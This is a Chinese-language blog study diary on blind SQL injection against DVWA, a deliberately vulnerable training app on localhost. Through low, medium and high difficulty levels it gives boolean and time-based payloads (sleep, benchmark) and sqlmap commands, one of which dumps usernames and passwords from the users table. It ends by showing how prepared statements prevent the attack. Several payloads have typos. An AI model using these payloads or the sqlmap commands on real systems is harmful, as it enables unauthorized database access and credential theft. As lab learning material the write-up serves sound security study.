DVWA學習日記-7 SQL盲注

SQL盲注
概述
數據庫的執行結果不會直接顯示在頁面上
頁面只會顯示真和假兩個狀態
準備:
Firefox
DVWA
Hackbar
firebug
Tamper Data
SQLMAP

手工實戰
1.進入簡單模式
進入sql盲注頁面,正常操作訪問id=1,,只是告訴我們這個存在,結果爲真
在這裏插入圖片描述
2.輸入-1提交一下,查詢結果爲假
在這裏插入圖片描述
3.嘗試注入POC
真 and 假=假

... where user_id =$id		where user_id =1 and 1024=1025
... where user_id ='$id'		where user_id ='1' and '1024'='1024' 
... where user_id ="id"		where user_id ="1" and "1024"="1025"

4.使用1 and 1024=1025 返回真,說明後面的語句沒有被執行
在這裏插入圖片描述
5.使用1’ and ‘1024’=‘1025 返回假 表示後面的語句成功執行了
所以這裏就是單引號閉合的
6.盲注思路
1’ and 真—結果爲真
1’ and 假—結果爲假

7.利用一些條件進行注入
length(str) 獲取字符串長度(字符串)
這裏使用真 and 真|假 =真|假

8.判斷數據庫數量
1’ and length(database())>1#
在這裏插入圖片描述
嘗試數據庫大於10,返回錯誤
1’ and length(database())>10#
依次猜測,使用二分法
1’ and length(database())>=4#
結果猜測到4返回正確

9.開始猜測數據庫字符
首先知道這個函數

substr(expression,start.length)
substr 獲取子字符串
expression 原始字符串
start 子串開始位置
length 子串長度

演示

嘗試獲取test字符,怎麼獲取te
select substr('test',1,2);	//輸出te
後三個字符
select substr('test',2,3);	//輸出est

我們就可以這樣一個一個比對下去獲得數據庫名,有點像暴力破解

10.我們獲取的數據都是ascii字符,ascii是有一個對應的範圍,如果我們把他轉換成ascii,再去比對他們的範圍
瞭解下面函數
ascii(string) 獲取第一個字符串的ASCII數值(字符串)

演示

select ascii('test');	//第一個字符ASCII的是116

11.確認字符串內容
單字符串內容
單字符串ASCII碼返回:0-127
1’ and ascii(substr(database()1,1)>64#
返回真就說明64>=ascii<=127中
在這裏插入圖片描述

12確定字符串內容
64<char<=127 ⇒ 96<char<=127 ⇒ 94<char<=112 ⇒ 96<char<=104
⇒ 96<char<=100 ⇒ 98<char<=104 ⇒ 98<char<=100 ⇒99>char<=100
最後可以確認char=100=‘d’
substr(database()1,1)=‘d’
substr(database()2,1)=‘v’
substr(database()3,1)=‘w’
substr(database()4,1)=‘a’
結果database()=‘dvwa’

盲注有兩種類型
布爾型和延時型

13.再來看一下延時的注入
sql函數
if(expr1,expr2,expr3)
如果expr1爲真,返回expr2,否則返回expr3

sleep(N)
休眠(N秒)
演示

select if(1,'true','false');	//true
select if(0,'true','false');	//false
select sleep(3);	///延遲了3秒

14.延時操作

1' and sleep(if(length(database())=4,5,0)#如果數據庫表等於4個,如果爲真則延時5秒,如果爲假則不延遲
1‘ and sleep(if(length()database())=5,5,0)#

除了sleep函數還有什麼函數可以達到這樣效果
benchmark(count,expr)
重複計算(次數爲count,表達式)
這裏重複執行計算,會有計算延遲

演示:

select benchmark(500000,md5('test'));	//耗時0.15s
select banchmark(5000000,md5('test'));	//1.54s
select banchmark(50000000,md5('test'));	//14.71s

操作實例

1‘ and benchmark(if(length(database())=4,500000),md5('test')#

F12查看返回時間

sqlmap
指定參數
直接獲取當前數據庫名稱
這裏爲了輸出詳細信息 -v 1-6 1輸出最少 6輸出最多

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=rqr8cbcr5t5cc064hk8fejudl4" --current-db

15.獲取數據庫表名稱
在這裏插入圖片描述
16.解析payload
1’ AND ORD(MID(IFNULL(CAST(DATABASE() AS CHAR),0X20)),1,1))>64 AND ‘kqKY’='kqKY

cast(expression as data_type)
數據類型轉換(表達式 as 新的數據類型)

select database();
select cast(database() as char);
與database()結果一致,我這裏的本來就是字符類型

在這裏插入圖片描述
ifnull(expr1,expr2)
如果expr1是null,返回expr2,否則返回本身
在這裏插入圖片描述
嘗試了下payload
在這裏插入圖片描述

mid(expression,start,length)
獲取子字符串(原始字符串,子串開始位置,子串長度)
在這裏插入圖片描述
ord(string)
獲取第一個字符串的ASCII數值(字符串)
在這裏插入圖片描述
再去看整個payload語句
在這裏插入圖片描述
真 => x=真
假 => x=假

我們發現用工具的思路和我們一樣,只不過方法不一樣

17.進入中等難度
在這裏插入圖片描述
這裏和上次一樣,這次我們打開tamper data

18.數字型注入嘗試我們的POC
改包1 and 1024=1025
在這裏插入圖片描述
發現結果爲假注入成功
在這裏插入圖片描述

再使用我們的sqlmap
-p 是測試的參數
–data 該參數指定的數據會被作爲POST數據提交

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --data "id=1&Submit=Submit" --cookie "security=medium; PHPSESSID=rqr8cbcr5t5cc064hk8fejudl4" -D dvwa -T users -C "user,password" --dump

在這裏插入圖片描述
19.進入困難模式
我們這裏先嚐試下POC
發現是字符串的,返回假
1’ and ‘1025’='1024
在這裏插入圖片描述
20.我們直接使用sqlmap
–second-url

sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php#" --data "id=1&Submit=Submit" -p "id" --cookie "security=high; PHPSESSID=rqr8cbcr5t5cc064hk8fejudl4" --second-order "http://localhost/DVWA-master/vulnerabilities/sqli_blind/"

失效了
在這裏插入圖片描述
我們發現id不見了
打開firebug查看,id竟然在cookie中
在這裏插入圖片描述
繼續使用sqlmap
level>=2 設置cookie參數需要使用到2以上的

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1;security=high; PHPSESSID=rqr8cbcr5t5cc064hk8fejudl4" --level 2

成功搞定

最後進入無漏洞模式
查看源碼
檢測了id數據類型
使用了預編譯綁定id變量
有效防止了SQL注入
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章